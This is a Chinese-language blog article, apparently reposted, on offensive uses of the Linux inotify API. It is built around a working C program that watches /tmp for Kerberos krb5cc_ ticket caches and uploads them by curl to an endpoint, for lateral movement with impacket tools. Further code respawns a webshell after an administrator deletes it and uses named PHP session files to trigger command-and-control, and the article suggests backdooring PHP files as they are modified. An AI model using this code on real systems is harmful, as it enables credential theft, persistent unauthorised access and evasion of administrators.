您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何從攻擊者角度重新思索inotity API的利用方式,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
我們以往在看”inotify API”的使用的時候,關注點都放在防護端,比如在入侵事件發生后IT管理員用來監控文件或者目錄的改變來輔助排查入侵事件。我們將重點放在攻擊方,讓你熟悉inotify API的猥瑣使用方式。
0x00 竊取 ccache 文件
在企業網絡中,linux和windows系統共存,并將身份驗證委托給AD是很常見的場景。在這種類型的環境中。當攻擊者獲取了一臺Linux主機的權限后,通常會查看/tmp目錄尋找憑證緩存文件(ccache),該文件通常包含TGT(Ticket-Granting-Ticket),用于通過kerberos協議進行用戶到服務的認證。
該文件的命名方式如下“krb5cc_%UID%”,可以直接被基于impacket框架的工具來使用。所以如果我們能讀取該文件的話,就能夠使用psexec.py/smbexec.py等工具來嘗試對內網其他機器進行命令執行,從而實現橫向移動(如果我們足夠幸運得到的這個文件來自于一個特權用戶的話,甚至可以提升權限)。當我們確實知道該網絡是使用kerberos作為認證的,但是現在不能夠得到該文件(因為該文件壽命很短)時,我們可以設置一個Inotify watcher來監控/tmp目錄,當該文件創建時,就轉發給我們。
我們的計劃非常簡單,如上所述,新建一個watcher來監控/tmp目錄,如果一個前綴是”krb5cc_”的文件被創建或者修改了,就發送給我們,代碼如下:
// Example based on https://www.lynxbee.com/c-program-to-monitor-and-notify-changes-in-a-directory-file-using-inotify/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <fcntl.h>
#include <curl/curl.h>
#define MAX_EVENTS 1024 /*Max. number of events to process at one go*/
#define LEN_NAME 1024 /*Assuming length of the filename won't exceed 16 bytes*/
#define EVENT_SIZE ( sizeof (struct inotify_event) ) /*size of one event*/
#define BUF_LEN ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME ) ) /*buffer to store the data of events*/
#define endpoint "http://localhost:4444"
int exfiltrate(char* filename) {
CURL *curl;
CURLcode res;
struct stat file_info;
FILE *fd;
fd = fopen(filename, "rb");
if(!fd){
return -1;
}
if(fstat(fileno(fd), &file_info) != 0) {
return -1;
}
curl = curl_easy_init();
if (curl){
curl_easy_setopt(curl, CURLOPT_URL, endpoint);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_READDATA, fd);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
return -1;
}
curl_easy_cleanup(curl);
}
fclose(fd);
return 0;
}
int main(int argc, char **argv){
int length, i= 0, wd;
int fd;
char buffer[BUF_LEN];
char *ticketloc = NULL;
printf("[Kerberos ccache exfiltrator PoC]\n\n");
//Initiate inotify
if ((fd = inotify_init()) < 0) {
printf("Could not initiate inotify!!\n");
return -1;
}
//Add a watcher for the creation or modification of files at /tmp folder
if ((wd = inotify_add_watch(fd, "/tmp", IN_CREATE | IN_MODIFY)) == -1) {
printf("Could not add a watcher!!\n");
return -2;
}
//Main loop
while(1) {
i = 0;
length = read(fd, buffer, BUF_LEN);
if (length < 0) {
return -3;
}
while (i < length) {
struct inotify_event *event = (struct inotify_event *)&buffer[i];
if (event->len) {
//Check for prefix
if (strncmp(event->name, "krb5cc_", strlen("krb5cc_")) == 0){
printf("New cache file found! (%s)", event->name);
asprintf(&ticketloc, "/tmp/%s",event->name);
//Forward it to us
if (exfiltrate(ticketloc) != 0) {
printf(" - Failed!\n");
}
else {
printf(" - Exfiltrated!\n");
}
free(ticketloc);
}
i += EVENT_SIZE + event->len;
}
}
}
}
我們可以在監控到該文件創建后,就通過LDAP搜索,來檢測當前用戶的權限。
另一個通用的場景為,當我們放置的webshell被刪除的時候(由于管理員發現,CMS更新等原因),通過使用inotify可以實現當webshell被刪除的時候再創建一個,并且通知我們,代碼如下
int main(int argc, char **argv){ int length, i= 0, wd; int fd; char buffer[BUF_LEN]; //Initiate inotify if ((fd = inotify_init()) < 0) { printf("Could not initiate inotify!!\n"); return -1; } //Webshell location
if ((wd = inotify_add_watch(fd, "/var/www/html/my_shinny_webshell.php", IN_DELETE | IN_DELETE_SELF) == -1) { printf("Could not add a watcher!!\n"); return -2; } //Main loop while(1) { i = 0; length = read(fd, buffer, BUF_LEN); if (length < 0) { return -3; } while (i < length) { struct inotify_event *event = (struct inotify_event *)&buffer[i]; if (event->len) { respawn_webshell(); i += EVENT_SIZE + event->len; } } }}
其他的想法:當一個合法的PHP文件被修改時,也同時放置我們的后門進去。或者,監控配置文件,檢測數據庫鏈接賬號是否改變。
我們可以通過創建一個存儲PHP會話的命名文件作為隱蔽通道來和我們的Implants進行命令通信。例如下面的例子,我假想當一個命名為sess_ALEAIACTAESTXX的文件創建時,就和我們的CC進行通信。
int main(int argc, char **argv){ int length, i= 0, wd; int fd; char buffer[BUF_LEN]; //Initiate inotify if ((fd = inotify_init()) < 0) { printf("Could not initiate inotify!!\n"); return -1; } //Session folder as set in session.save_path if ((wd = inotify_add_watch(fd, "/var/lib/php/session", IN_CREATE) == -1) { printf("Could not add a watcher!!\n"); return -2; } //Main loop while(1) { i = 0; length = read(fd, buffer, BUF_LEN); if (length < 0) { return -3; } while (i < length) { struct inotify_event *event = (struct inotify_event *)&buffer[i]; if (event->len) { if (strncmp(event->name, "sess_ALEAIACTAEST", strlen("sess_ALEAIACTAEST")) == 0){ start_communication_with_CC(); } i += EVENT_SIZE + event->len; } } }}
通過一個簡單的CURL請求(curl http://localhost/test.php --cookie "PHPSESSID=ALEAIACTAESTx1"),我們就可以觸發這個動作。
關于如何從攻擊者角度重新思索inotity API的利用方式就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。